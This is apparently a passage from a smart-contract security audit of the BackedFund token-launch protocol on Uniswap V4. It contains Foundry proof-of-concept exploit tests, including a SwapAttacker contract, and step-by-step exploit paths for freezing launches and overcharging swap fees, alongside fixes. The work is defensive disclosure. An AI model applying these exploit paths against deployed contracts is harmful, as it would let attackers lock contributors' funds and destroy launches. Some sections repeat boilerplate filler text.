 *   (3) after endTime + FINALIZATION_GRACE_PERIOD (7 days) anyone can call
 *       cancelUnfinalizedLaunch() -> status Failed, the launch token is
 *       burned, and the contributor's ETH is refunded in full via
 *       claimRefund().
 *
 * MockV4PoolManager note (see contracts/mocks/MockV4PoolManager.sol):
 * the mock is explicitly documented as "not a price-forming AMM" -- its
 * swap() applies a fixed 0.99:1 rate and never writes slot0/tick, so calling
 * it cannot itself move `initializedPrice[poolId]`. Step (1) below still
 * proves the REAL vulnerability: PoolManager.swap/unlock are permissionless
 * and reachable by an arbitrary, zero-balance address against the
 * zero-liquidity pool (the access-control gap the finding is about). To
 * model the DOWNSTREAM CONSEQUENCE that a real V4 pool's price move would
 * have on `_seedLiquidity` (the deposit sized at the stale cached price
 * consuming a different, skewed ratio of the two seed legs once
 * `modifyLiquidity` settles against the live pool state), this test uses the
 * mock's own `setPerCurrencyLiquidityUseBps` configuration knob -- the
 * deterministic mock's stand-in for "how much of each pending leg the live
 * pool state actually consumes" -- clearly commented at the call site below.
 * ============================================================================*/

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {
    LaunchConfig,
    LaunchMode,
    TreasuryProfile,
    YieldRoute,
    LaunchStatus
} from "../../contracts/types/LaunchTypes.sol";
import {LaunchManager} from "../../contracts/core/LaunchManager.sol";
import {LaunchRegistry} from "../../contracts/core/LaunchRegistry.sol";
import {FeeRouter} from "../../contracts/core/FeeRouter.sol";
import {TokenFactory} from "../../contracts/core/TokenFactory.sol";
import {LaunchEconomicsPolicy} from "../../contracts/core/LaunchEconomicsPolicy.sol";
import {EconomicsReceiptRecorder} from "../../contracts/core/EconomicsReceiptRecorder.sol";
import {CreatorVestingFactory} from "../../contracts/token/CreatorVestingFactory.sol";
import {TreasuryVaultFactory} from "../../contracts/treasury/TreasuryVaultFactory.sol";
import {ProjectSupportController} from "../../contracts/treasury/ProjectSupportController.sol";
import {LaunchPoolFactory} from "../../contracts/liquidity/LaunchPoolFactory.sol";
import {HookRegistry} from "../../contracts/liquidity/HookRegistry.sol";
```

```
import {HookDeployer} from "../../contracts/liquidity/HookDeployer.sol";
import {BackedFundFeeHook} from "../../contracts/liquidity/BackedFundFeeHook.sol";
import {HookFlags} from "../../contracts/interfaces/v4/V4Libraries.sol";
import {MockV4PoolManager} from "../../contracts/mocks/MockV4PoolManager.sol";
import {MockWETH} from "../../contracts/mocks/MockWETH.sol";
import {MockBondAdapter} from "../../contracts/mocks/MockBondAdapter.sol";
import {IUnlockCallback, PoolKey, SwapParams, Currency} from "../../contracts/interfaces/v4/IV4Types.sol";

/// @notice Minimal helper proving PoolManager.unlock()/swap() are callable by
/// an arbitrary, zero-balance address. Real V4's unlock() is permissionless;
/// this mock's unlock() mirrors that -- any contract implementing
/// IUnlockCallback may call it and, from inside its own callback (where
/// msg.sender == its own address == the recorded unlock caller), call swap()
/// directly against the launch's pool.
contract SwapAttacker is IUnlockCallback {
    MockV4PoolManager internal immutable pm;
    PoolKey internal pendingKey;
    bool internal pendingZeroForOne;

    constructor(MockV4PoolManager _pm) {
        pm = _pm;
    }

    function attack(PoolKey memory key, bool zeroForOne) external {
        pendingKey = key;
        pendingZeroForOne = zeroForOne;
        // Data shape only needs to decode as MockV4PoolManager.PendingLiquidityAction
        // (352 bytes) -- its fields are irrelevant to the swap path below.
        pm.unlock(abi.encode(MockV4PoolManager.PendingLiquidityAction({
            action: 0,
            key: key,
            sqrtPriceX96: 0,
            amount0: 0,
            amount1: 0,
            liquidity: 0,
            recipient: address(0)
        })));
    }

    function unlockCallback(bytes calldata) external returns (bytes memory) {
        require(msg.sender == address(pm), "SwapAttacker: not pool manager");
        // 1 wei exact-input swap: no real token balance or approval needed --
        // the mock only tracks internal currency deltas here, and nothing
        // downstream requires this contract to ever settle them. This is
        // exactly the "near-zero attacker cost" the finding describes.
        pm.swap(
            pendingKey,
            SwapParams({zeroForOne: pendingZeroForOne, amountSpecified: -1, sqrtPriceLimitX96: 0}),
            ""
        );
        return "";
    }
}

contract PoC_5ae35 is Test {
    address internal constant WETH = 0x4200000000000000000000000000000000000006;

    LaunchManager internal lm;
    LaunchRegistry internal registry;
    FeeRouter internal feeRouter;
    LaunchPoolFactory internal poolFactory;
    MockV4PoolManager internal poolManager;
    BackedFundFeeHook internal hook;

    address internal creator;
    address internal buyer;
    address internal growth;
    address internal attacker;

    uint256 internal launchId;
    address internal launchToken;
```

```
    uint64 internal endTime;

    uint256 internal clock;

    function setUp() public {
        clock = 1_700_000_000;
        vm.warp(clock);
        vm.roll(1_000);

        creator = makeAddr("creator");
        buyer = makeAddr("buyer");
        growth = makeAddr("growth");
        attacker = makeAddr("attacker");

        // 1. Base WETH predeploy (hardcoded in LaunchEconomicsPolicy.WETH).
        MockWETH wethImpl = new MockWETH();
        vm.etch(WETH, address(wethImpl).code);
        MockWETH(payable(WETH)).setWithdrawPayoutBps(10_000);
        vm.label(WETH, "WETH");

        // 2. Core deployment (mirrors test/novelty/C-011_Novelty.t.sol setUp).
        TokenFactory tokenFactory = new TokenFactory();
        LaunchEconomicsPolicy policy = new LaunchEconomicsPolicy();
        CreatorVestingFactory vestingFactory = new CreatorVestingFactory();
        TreasuryVaultFactory treasuryFactory = new TreasuryVaultFactory();
        lm = new LaunchManager(
            address(tokenFactory), address(policy), address(vestingFactory), address(treasuryFactory)
        );
        registry = new LaunchRegistry(address(lm));
        feeRouter = new FeeRouter(growth, address(lm), makeAddr("affiliateBondAdapter"));
        EconomicsReceiptRecorder recorder = new EconomicsReceiptRecorder(
            address(lm), address(policy), address(registry), address(treasuryFactory)
        );
        poolManager = new MockV4PoolManager();

        // 3. V4 hook stack.
        HookDeployer hookDeployer = new HookDeployer();
        HookRegistry hookRegistry = new HookRegistry(growth, address(this));
        poolFactory = new LaunchPoolFactory(address(poolManager), WETH, address(hookRegistry), address(lm), 60);
        hook = _deployMinedHook(hookDeployer);
        for (uint8 m = 0; m < 4; m++) {
            hookRegistry.setHookAllowed(LaunchMode(m), address(hook), true, true);
            hookRegistry.setDefaultHook(LaunchMode(m), address(hook));
        }
        hookRegistry.finalizeBootstrap();

        tokenFactory.setLaunchManager(address(lm));
        vestingFactory.setLaunchManager(address(lm));
        treasuryFactory.setLaunchManager(address(lm));
        registry.setReceiptWriter(address(recorder));
        lm.setEconomicsReceiptRecorder(address(recorder));
        lm.configureProtocolAuthority(growth, growth);
        ProjectSupportController psc = new ProjectSupportController(address(lm), growth, growth);
        MockBondAdapter bondAdapter = new MockBondAdapter(77 days);
        lm.setTreasuryDependencies(address(bondAdapter), address(psc));
        // setDependencies clears LaunchManager.owner -- must be last.
        lm.setDependencies(address(registry), address(feeRouter), address(poolFactory));

        // 4. One honest Standard launch: softCap 1 ETH, hardCap 2 ETH, so a
        // single contribution at softCap does NOT auto-settle (newTotal !=
        // hardCap) -- finalizeLaunch must be called explicitly after endTime,
        // matching the finding's "days/weeks later, sale ends and
        // finalizeLaunch calls seedLiquidity" narrative.
        uint64 start = uint64(block.timestamp);
        endTime = start + 1 days;
        LaunchConfig memory cfg = _config(
            1_000_000_000e18, 450_000_000e18, 450_000_000e18,
            1 ether, 2 ether, 0.01 ether, 1 ether, start, endTime, 10_000
        );
        vm.prank(creator);
        launchId = lm.createLaunch(cfg);
```

```
        launchToken = lm.getLaunch(launchId).token;

        vm.deal(buyer, 10 ether);
    }

    /// [POC-*] see report.
    function test_exploit_1() public {
        // ---- Precondition: pool exists, publicly reachable, zero liquidity ----
        LaunchPoolFactory.LaunchPool memory poolBefore = poolFactory.getLaunchPool(launchId);
        assertTrue(poolBefore.poolId != bytes32(0), "pool not created at createLaunch");
        assertFalse(poolBefore.seeded, "pool must be unseeded (liquidity == 0) pre-settlement");

        // Buyer contributes exactly softCap -- raise reaches softCap but not
        // hardCap, so contribute() does not auto-settle.
        vm.prank(buyer);
        lm.contribute{value: 1 ether}(launchId);
        assertEq(lm.getTotalRaised(launchId), 1 ether);
        assertEq(uint256(lm.getLaunch(launchId).status), uint256(LaunchStatus.Active));

        // ---- (1) Untrusted swap into the zero-liquidity pool, pre-seed ----
        PoolKey memory key = poolFactory.buildPoolKey(launchToken, address(hook));
        bool zeroForOne = Currency.unwrap(key.currency0) == launchToken;

        SwapAttacker swapAttacker = new SwapAttacker(poolManager);
        // Attacker holds zero ETH and zero tokens -- deal nothing. The call
        // below succeeds anyway: unlock()/swap() are permissionless and the
        // hook's beforeSwap/afterSwap only gate on `cfg.split.configured`
        // (true from createLaunch) and `whenNotPaused`, never on the
        // factory's `seeded` flag.
        assertEq(attacker.balance, 0, "attacker starts with zero capital");
        vm.prank(attacker);
        swapAttacker.attack(key, zeroForOne);

        // The pool is still unseeded after the swap -- confirms the swap was
        // executed against the empty, factory-uninvolved pool.
        assertFalse(poolFactory.getLaunchPool(launchId).seeded, "still unseeded after attacker swap");

        // MockV4PoolManager.swap() is fixed-rate and documented as
        // non-price-forming (see contracts/mocks/MockV4PoolManager.sol), so it
        // never writes slot0/tick -- there is no getSlot0()/extsload() delta
        // to assert here. We instead model the swap's real-V4 CONSEQUENCE
        // deterministically: a real swap against liquidity == 0 slides
        // slot0.sqrtPriceX96 to a tick-range boundary for ~free, so when
        // `_seedLiquidity`'s modifyLiquidity later settles against the LIVE
        // (now-manipulated) price instead of the STALE cached
        // `launchPool.sqrtPriceX96`, the two pool legs are consumed in a
        // skewed ratio relative to what the stale-price sizing intended.
        // MockV4PoolManager.modifyLiquidity() computes `used0`/`used1` as
        // `pendingAmount * liquidityUseBps / 10_000` rather than from
        // sqrtPriceX96 math -- this per-currency bps knob is the mock's
        // stand-in for that live-price-driven consumption ratio. Setting an
        // extreme currency1 use-rate reproduces the divergence a real price
        // move to a tick boundary would cause.
        poolManager.setPerCurrencyLiquidityUseBps(10_000, 100, true);

        // ---- (2) finalizeLaunch reverts because the deposit no longer matches ----
        clock = uint256(endTime) + 1;
        vm.warp(clock);

        vm.expectRevert(bytes("Factory: excessive LP dust"));
        lm.finalizeLaunch(launchId);

        // Confirms the revert is deterministic on retry, not a one-off, and
        // that no state (seeded flag) advanced despite the attempt.
        assertFalse(poolFactory.getLaunchPool(launchId).seeded, "seedLiquidity must not have committed");
        vm.expectRevert(bytes("Factory: excessive LP dust"));
        lm.finalizeLaunch(launchId);
        assertEq(uint256(lm.getLaunch(launchId).status), uint256(LaunchStatus.Active), "launch stuck Active");

        // ---- (3) after endTime + 7d grace, anyone can cancel -> Failed, burn, refund ----
        clock = uint256(endTime) + lm.FINALIZATION_GRACE_PERIOD() + 1;
```

```
        vm.warp(clock);

        uint256 supplyBefore = IERC20(launchToken).totalSupply();
        assertEq(supplyBefore, 1_000_000_000e18, "full supply still held pre-cancel");

        address anyKeeper = makeAddr("anyKeeper");
        vm.prank(anyKeeper);
        lm.cancelUnfinalizedLaunch(launchId);

        assertEq(uint256(lm.getLaunch(launchId).status), uint256(LaunchStatus.Failed), "status must be Failed");
        assertEq(IERC20(launchToken).balanceOf(address(lm)), 0, "LaunchManager's token balance must be burned");
        assertEq(IERC20(launchToken).totalSupply(), 0, "entire launch token supply burned");

        uint256 buyerBalanceBefore = buyer.balance;
        vm.prank(buyer);
        lm.claimRefund(launchId);
        assertEq(buyer.balance, buyerBalanceBefore + 1 ether, "contributor refunded in full");
        assertEq(lm.getContribution(launchId, buyer), 0, "contribution cleared after refund");
    }

    // ═══════════════════════════════════════════════════════════════════
    // helpers
    // ═══════════════════════════════════════════════════════════════════

    function _config(
        uint256 totalSupply,
        uint256 saleSupply,
        uint256 lpSupply,
        uint256 softCap,
        uint256 hardCap,
        uint256 minContribution,
        uint256 maxContribution,
        uint64 startTime,
        uint64 endTime_,
        uint16 lpSplitBps
    ) internal view returns (LaunchConfig memory cfg) {
        cfg = LaunchConfig({
            creator: address(0),
            token: address(0),
            raiseAsset: address(0),
            lpCounterAsset: WETH,
            yieldRecipient: creator,
            name: "Novelty Token",
            symbol: "NOV",
            totalSupply: totalSupply,
            saleSupply: saleSupply,
            lpSupply: lpSupply,
            creatorSupply: totalSupply - saleSupply - lpSupply,
            softCap: softCap,
            hardCap: hardCap,
            minContribution: minContribution,
            maxContribution: maxContribution,
            startTime: startTime,
            endTime: endTime_,
            lpUnlockTime: endTime_ + 365 days + 1,
            bondUnlockTime: 0,
            lpSplitBps: lpSplitBps,
            treasurySplitBps: 10_000 - lpSplitBps,
            mode: LaunchMode.Standard,
            treasuryProfile: TreasuryProfile.None,
            yieldRoute: YieldRoute.Balanced,
            status: LaunchStatus.Active
        });
    }

    function _deployMinedHook(HookDeployer deployer) internal returns (BackedFundFeeHook) {
        uint160 flags = HookFlags.AFTER_INITIALIZE_FLAG | HookFlags.BEFORE_SWAP_FLAG
            | HookFlags.BEFORE_SWAP_RETURNS_DELTA_FLAG | HookFlags.AFTER_SWAP_FLAG
            | HookFlags.AFTER_SWAP_RETURNS_DELTA_FLAG;
        bytes memory initCode = abi.encodePacked(
            type(BackedFundFeeHook).creationCode,
```

```
            abi.encode(address(poolManager), address(poolFactory), growth, growth, growth)
        );
        bytes32 initCodeHash = keccak256(initCode);
        bytes32 salt;
        bool found;
        for (uint256 i = 0; i < 500_000; i++) {
            address predicted = address(uint160(uint256(keccak256(
                abi.encodePacked(bytes1(0xff), address(deployer), bytes32(i), initCodeHash)
            ))));
            if (uint160(predicted) & HookFlags.ALL_HOOK_MASK == flags) {
                salt = bytes32(i);
                found = true;
                break;
            }
        }
        require(found, "PoC_5ae35: hook salt not found");
        return BackedFundFeeHook(deployer.deploy(initCode, salt, flags));
    }
}
```

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 2: Stale cached price at seedLiquidity lets a free pre-seed swap freeze or drain launch funds. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

H-03 Anyone can fill V4's per-tick liquidity cap at the factory's boundary ticks for ~2e12 wei, permanently blocking seedLiquidity

Source: GitHub issue #3
Severity: High

Description

Severity	High

Confidence	Medium (code trace; no PoC yet)
Location	`LaunchPoolFactory.sol:_seedLiquidity` (fixed `minUsableTick` / `maxUsableTick`), `BackedFundFeeHook.sol` constructor permission mask
Class	HookConfiguration / griefing DoS
Sources	Pasted (external) — not found by our run

Description

What's wrong

Every launch pool gets its liquidity at the same two price boundaries, and Uniswap V4 caps how much liquidity may reference a single boundary. Nothing stops an outsider from adding their own tiny position that uses up that entire cap first. Once they do, the protocol's own liquidity deposit reverts on every attempt, the sale can never finalize, and only the attacker can undo it.

How

`_seedLiquidity` always calls `modifyLiquidity` with `tickLower = minUsableTick`, `tickUpper = maxUsableTick` (`LaunchPoolFactory.sol:585-590`), both fixed at construction (`:175-176`). V4's `Pool.modifyLiquidity` reverts with `TickLiquidityOverflow(tick)` when `liquidityGrossAfter > maxLiquidityPerTick`, and `maxLiquidityPerTick = type(uint128).max / numTicks` (≈ `1.15e34` at spacing 60). The hook's permission mask (`BackedFundFeeHook.sol:134-138`) sets no `BEFORE_ADD_LIQUIDITY` flag, so any address can add liquidity to the pool through a standard PositionManager from the moment `createLaunch` initializes it. An attacker opens a one-spacing position `[maxUsableTick - 60, maxUsableTick]` with `L ≈ maxLiquidityPerTick`. That range sits far above the current price, so it costs only the one-sided token amount `L·(1/√pa − 1/√pb)` ≈ `1.9e12` wei of the counter asset. From then on any `liquidityDelta > 0` touching `maxUsableTick` overflows, so `seedLiquidity` (and every later `addDripLiquidity`) reverts.

Impact

- **Buyers:** `finalizeLaunch` reverts permanently → after the 7-day grace period the launch can only be cancelled and refunded. Contributed ETH is locked for more than 7 days.
- **Launch token:** cancellation burns the undistributed supply (see M-02) → the launch is destroyed for good.
- **Unlike H-02:** fixing the stale-price issue does not help, because the cap is filled independently of price. The attacker keeps the position and can re-grief any retry that uses the same ticks.
- **Cost:** ≈ `1.9e12` wei (≈ 0.0000019 ETH) per launch, recoverable by the attacker.

Exploit path

1. A creator calls `createLaunch`; the TOKEN/WETH pool is initialized empty.
2. The attacker mints a V4 position on that pool over `[maxUsableTick - tickSpacing, maxUsableTick]` with liquidity `maxLiquidityPerTick`, paying ≈ `1.9e12` wei of the one-sided asset.
3. The sale ends and `finalizeLaunch` → `seedLiquidity` → `_seedLiquidity` → `modifyLiquidity` reverts `TickLiquidityOverflow(maxUsableTick)`.
4. After `endTime + 7 days`, anyone calls `cancelUnfinalizedLaunch` → refunds + token burn.

Recommendation

Gate liquidity additions in the hook so only the factory can add liquidity before seeding (and, if intended, afterwards):

```
// enable BEFORE_ADD_LIQUIDITY_FLAG in the permission mask
function beforeAddLiquidity(address sender, PoolKey calldata key, ModifyLiquidityParams calldata, bytes calldata)
    external onlyPoolManager returns (bytes4)
{
    require(sender == launchPoolFactory || _seeded[_toId(key)], "Hook: pool not seeded");
    return IHooks.beforeAddLiquidity.selector;
}
```

Alternatively, seed at `minUsableTick + tickSpacing` / `maxUsableTick - tickSpacing` and fall back to an adjacent tick pair when the cap is exhausted. Without the gate the attacker can always target whichever ticks the factory uses.

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 3: Anyone can fill V4's per-tick liquidity cap at the factory's boundary ticks for ~2e12 wei, permanently blocking seedLiquidity. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

Medium Findings

M-01 beforeSwap sizes the counter-asset fee on the requested amount, not the executed specified-side delta, overcharging trades that partial-fill against a price limit

Source: GitHub issue #4
Severity: Medium

Description

Severity	Medium (reported: High)
Confidence	Medium
Location	`BackedFundFeeHook.sol:beforeSwap`
Sources	Ours + pasted (external) — duplicate: pasted Low #1 "`beforeSwap` fee on requested amount, not reconciled on partial fill" (pasted as Low; our Phase 3 kept Medium)
Class	SwapDeltaSemantics (V2)
Discovered via	skill-feynman-novel / swap-delta-semantics
Phase 3 verdict	severity_mismatch → Medium
PoC	[POC-PASS]

Description

What's wrong

The pool's trading-fee hook charges the swapper's fee before the swap actually runs, sizing that fee on the full amount the trader asked to swap. When the trade doesn't fully go through — because the trader capped how far the price is allowed to move — the fee stays fixed at its full size while the trade itself shrinks, so a trader can end up paying close to the whole intended fee for a swap that barely executed.

How

`beforeSwap` (`BackedFundFeeHook.sol:3609-3647`) computes `feeAmount` from `specifiedAmount`, which is derived directly from `params.amountSpecified` — the caller-requested amount (`BackedFundFeeHook.sol:3630-3636`) — and calls `poolManager.take(specifiedCurrency, address(this), feeAmount)` (`BackedFundFeeHook.sol:3642`) unconditionally, before the core AMM swap step runs. `SwapParams.sqrtPriceLimitX96` (`contracts/interfaces/v4/IV4Types.sol:3081-3085`) is a plain caller-controlled field with no hook-side bound, and V4's core swap loop halts on either side once the price limit is hit, so the specified side can fill for far less than `specifiedAmount` — down to near zero. `afterSwap` (`BackedFundFeeHook.sol:3652-3700`) only ever reconciles fee for the *unspecified* currency using the real `BalanceDelta` `delta`; the specified-side fee already taken in `beforeSwap` is never revisited, refunded, or checked against what the pool actually executed.

Impact

- **Traders** using an ordinary price-limit slippage guard on a thin-liquidity pool → pay a fee sized on their full requested amount while receiving execution on only a fraction of it, pushing the effective fee rate above the documented 1% — up to ~100% of the executed amount in the limit as fill→0.
- **Protocol fee recipients** (Backed, creator, support, LP buckets via `_distribute`) receive the overcharged difference, silently breaking the audit-context.md §7 'Hook fee exactly 1% in counter asset' test-derived invariant whenever a specified-side partial fill occurs.
- Scope note: only swaps where the fee currency sits on the *specified* side (exact-input buys, exact-output sells of the counter asset) and where `sqrtPriceLimitX96` truncates execution are affected — the unspecified-side fee path in `afterSwap` correctly uses the real delta and is unaffected.

Expected delta: up to +feeAmount excess (bounded by ~1% of the requested specifiedAmount) extracted from the trader per under-filled swap, scaling with (1 - actualFillRatio); approaches the full feeAmount as the executed portion of the specified side approaches zero

Exploit path

1. Any address calls `poolManager.swap` on a BackedFundFeeHook-configured pool with an exact-input swap (`amountSpecified = -specifiedAmount`) in the pool's fee currency, and an ordinary slippage-protection `sqrtPriceLimitX96` set close to the current price — a completely standard aggregator/router parameter, not an exotic attack input.
2. `beforeSwap` fires first: since the specified currency equals `cfg.feeCurrency`, `feeAmount = specifiedAmount * totalPips / PIP_DENOMINATOR` is computed off the full `specifiedAmount` and pulled from the pool via `poolManager.take` (`BackedFundFeeHook.sol:3634-3643`) before the core swap step executes.
3. The core swap then attempts to execute `specifiedAmount - feeAmount`, but because `sqrtPriceLimitX96` is close to the pool's current sqrt price (thin post-launch liquidity, or simply a tight slippage bound), the swap step halts early — the amount actually consumed on the specified side is far below `specifiedAmount - feeAmount`, in the limit approaching zero.
4. `afterSwap` fires and reconciles fee only for the *unspecified* currency from the real `delta`; it never re-examines the specified-side fee already taken in step 2.
5. The trader's net settlement is `feeAmount` (sized on the full request) plus whatever tiny amount of the specified currency the core swap actually consumed — the effective fee rate on what they actually swapped is inflated well above the documented 1%, approaching 100% as the executed amount shrinks toward zero.

Recommendation

Reconcile the specified-side fee inside `afterSwap` against the pool's actual specified-side `BalanceDelta` instead of locking it in unconditionally during `beforeSwap` on the unreconciled `amountSpecified` — mirror the unspecified-side path, which already sizes off the real delta. A mechanical sketch (requires new per-pool transient bookkeeping, so treat as illustrative rather than drop-in):

```
// beforeSwap: record what was provisionally charged so afterSwap can reconcile it.
_pendingSpecifiedFee[poolId] = PendingSpecifiedFee({
    currency: specifiedCurrency,
    feeTaken: feeAmount
});

// afterSwap: compare the real specified-side delta against what was taken
// and refund the excess instead of leaving it locked in on the request.
PendingSpecifiedFee memory pending = _pendingSpecifiedFee[poolId];
if (pending.feeTaken > 0) {
    bool specifiedIsCurrency0 = Currency.unwrap(pending.currency) == Currency.unwrap(key.currency0);
    int128 specifiedDelta = specifiedIsCurrency0 ? _amount0(delta) : _amount1(delta);
    uint256 actualSpecifiedAmount = uint256(int256(specifiedDelta < 0 ? -specifiedDelta : specifiedDelta));
    uint256 correctFee = (actualSpecifiedAmount * totalPips) / PIP_DENOMINATOR;
```

```
    if (correctFee < pending.feeTaken) {
        uint256 refund = pending.feeTaken - correctFee;
        // credit `refund` of pending.currency back into this swap's own settlement
        // (e.g. fold into the returned int128 hookDelta for afterSwap, or mint/settle back to sender)
    }
    delete _pendingSpecifiedFee[poolId];
}
```

Proof of concept

`forge test` passes. Foundry test `PoC_a7b7e.t.sol` (uses the repo's `MockV4PoolManager`, which is not price-forming; a Base-fork reproduction is still recommended):

PoC_a7b7e.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.35;

/* ============================================================================
 * Phase 4 PoC VERIFICATION — finding a7b7eddb5820 (validated Medium)
 * ----------------------------------------------------------------------------
 * Claim: beforeSwap sizes the counter-asset fee on the full REQUESTED
 * `params.amountSpecified`, takes it unconditionally via `poolManager.take`,
 * and never reconciles it against the swap's real executed specified-side
 * delta. When a price-limited swap partial-fills (sqrtPriceLimitX96 halts the
 * core swap loop before the full specified amount is consumed), the trader
 * still pays the full 1% fee on the amount they ASKED for, not on the amount
 * that actually executed — inflating the effective fee rate well above 1%.
 *
 * MockV4PoolManager is NOT price-forming (see contracts/mocks/MockV4PoolManager
 * .sol header) — its own `swap()` helper always fills 100% of the requested
 * amount (fixed 0.99 output-per-input ratio) and never reads
 * `sqrtPriceLimitX96` at all, so it cannot itself produce a genuine
 * price-limited partial fill. Per the assignment, this PoC instead drives the
 * hook directly through the mock's audit-scoped `simulateSwap` /
 * `simulateAfterSwap` entry points (the same entry points DL-010's disproof
 * harness and the C-011 novelty harness use), and models the partial fill by
 * handing `afterSwap` a caller-supplied `BalanceDelta` whose specified-side
 * (WETH) component is only 10% of the requested amount — this is exactly the
 * state V4's real core swap loop would leave behind if
 * `sqrtPriceLimitX96` truncated execution at 10% of the requested input
 * (this is the documented V4 "swap halts on either side once the price limit
 * is hit" mechanic cited in the finding's `reasoning_steps`, not a fabricated
 * state). The test then shows that even after the hook observes this true,
 * truncated delta in `afterSwap`, nothing refunds or reconciles the
 * specified-side fee already taken in `beforeSwap`.
 * ============================================================================*/

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {
    IHooks,
    PoolKey,
    SwapParams,
    Currency,
    BalanceDelta,
    BeforeSwapDelta
} from "../../contracts/interfaces/v4/IV4Types.sol";
import {HookFlags, LPFeeLib} from "../../contracts/interfaces/v4/V4Libraries.sol";
import {BackedFundFeeHook} from "../../contracts/liquidity/BackedFundFeeHook.sol";
import {HookDeployer} from "../../contracts/liquidity/HookDeployer.sol";
import {FeeSplit} from "../../contracts/interfaces/IBackedFundFeeHook.sol";
import {MockV4PoolManager} from "../../contracts/mocks/MockV4PoolManager.sol";
import {MockWETH} from "../../contracts/mocks/MockWETH.sol";

contract PoC_a7b7e_Test is Test {
    MockV4PoolManager internal poolManager;
```

```
    BackedFundFeeHook internal hook;
    MockWETH internal token; // currency0 — the "launch token" stand-in
    MockWETH internal weth;  // currency1 — the immutable fee currency

    address internal backedRecipient = makeAddr("backedRecipient");
    address internal creatorRecipient = makeAddr("creatorRecipient");
    address internal supportRecipient = makeAddr("supportRecipient");
    address internal lpRecipient = makeAddr("lpRecipient");
    address internal trader = makeAddr("trader");
    address internal growth = makeAddr("growth");

    PoolKey internal key;

    function setUp() public {
        poolManager = new MockV4PoolManager();

        token = new MockWETH();
        weth = new MockWETH();

        HookDeployer deployer = new HookDeployer();
        hook = _deployMinedHook(deployer);

        key = PoolKey({
            currency0: Currency.wrap(address(token)),
            currency1: Currency.wrap(address(weth)),
            fee: LPFeeLib.DYNAMIC_FEE_FLAG,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });

        // afterInitialize: sender must equal poolFactory (== address(this) here).
        poolManager.initialize(key, uint160(1) << 96);

        // Total fee is hard-capped at exactly 1% (MAX_TOTAL_FEE_PIPS = 10_000
        // pips of PIP_DENOMINATOR = 1_000_000) — same split shape as DL-010's
        // disproof harness, arbitrary bucket weighting, sums to 1%.
        FeeSplit memory split = FeeSplit({
            backedPips: 2_000,
            creatorPips: 2_500,
            supportPips: 4_000,
            lpPips: 1_500,
            configured: false
        });
        hook.onPoolCreated(key, address(weth), abi.encode(split, creatorRecipient, supportRecipient, lpRecipient));

        // Fund the mock manager so hook.beforeSwap's poolManager.take() has
        // real WETH to transfer (take() does a real safeTransfer regardless
        // of tracked currency deltas — mirrors DL-010's setUp).
        weth.mint(address(poolManager), 1_000_000_000e18);
    }

    /// ═══════════════════════════════════════════════════════════════════
    /// test_exploit_3 — fee sized on REQUESTED amount survives a price-
    /// limited partial fill; effective fee rate inflates from 1% to ~10%.
    /// ═══════════════════════════════════════════════════════════════════
    function test_exploit_3() public {
        // Trader requests an exact-input swap of 100 WETH for `token`.
        // zeroForOne = false => input/specified currency is currency1 (WETH),
        // which equals cfg.feeCurrency => beforeSwap's specified-side fee
        // branch fires (BackedFundFeeHook.sol beforeSwap, exactInput branch).
        uint256 requestedSpecifiedAmount = 100 ether;
        SwapParams memory params = SwapParams({
            zeroForOne: false,
            amountSpecified: -int256(requestedSpecifiedAmount),
            // An ORDINARY slippage-protection price limit — not an exotic
            // input. beforeSwap never reads this field at all (grep confirms
            // no `sqrtPriceLimitX96` reference anywhere in
            // BackedFundFeeHook.sol), so it has zero bearing on how the fee
            // is sized even though it is exactly what determines how much of
            // the swap actually executes in a real V4 core swap loop.
            sqrtPriceLimitX96: 79228162514264337593543950336 // == 1<<96, i.e. "no room to move"
```

```
        });

        uint256 hookWethBefore = weth.balanceOf(address(hook));

        // ── Step 1: beforeSwap fires and takes its fee on the FULL request ──
        poolManager.simulateSwap(address(hook), key, params, "");

        uint256 feeTaken = weth.balanceOf(address(hook)) - hookWethBefore;

        // Contract's own formula: feeAmount = specifiedAmount * totalPips /
        // PIP_DENOMINATOR = specifiedAmount * 10_000 / 1_000_000 =
        // specifiedAmount / 100 (BackedFundFeeHook.sol beforeSwap).
        uint256 expectedFeeOnRequested = requestedSpecifiedAmount / 100;
        assertEq(feeTaken, expectedFeeOnRequested, "PoC: feeTaken != 1% of REQUESTED specifiedAmount");

        // ── Step 2: model the price-limited partial fill ──
        // V4's core swap loop halts on the specified side once
        // sqrtPriceLimitX96 is hit (documented mechanic, finding
        // reasoning_steps precondition 3) — here the pool's thin liquidity /
        // tight limit means only 10% of the requested WETH input is actually
        // consumed before the loop stops. MockV4PoolManager cannot produce
        // this state through a real price-forming swap (it is not
        // price-forming — see contract header), so we hand afterSwap the
        // BalanceDelta a real PoolManager would have produced: WETH
        // (currency1, the specified+input side) truncated to 10% of the
        // request; `token` (currency0, output side) delivered pro-rata.
        uint256 executedSpecified = requestedSpecifiedAmount / 10; // 10% fill
        int128 amount1Delta = -int128(int256(executedSpecified)); // trader paid only this much WETH in
        int128 amount0Delta = int128(int256(executedSpecified));  // pro-rata token received (magnitude irrelevant to the fee
bug)
        BalanceDelta truncatedDelta = _packDelta(amount0Delta, amount1Delta);

        uint256 hookWethBeforeAfterSwap = weth.balanceOf(address(hook));
        poolManager.simulateAfterSwap(address(hook), key, params, truncatedDelta, "");
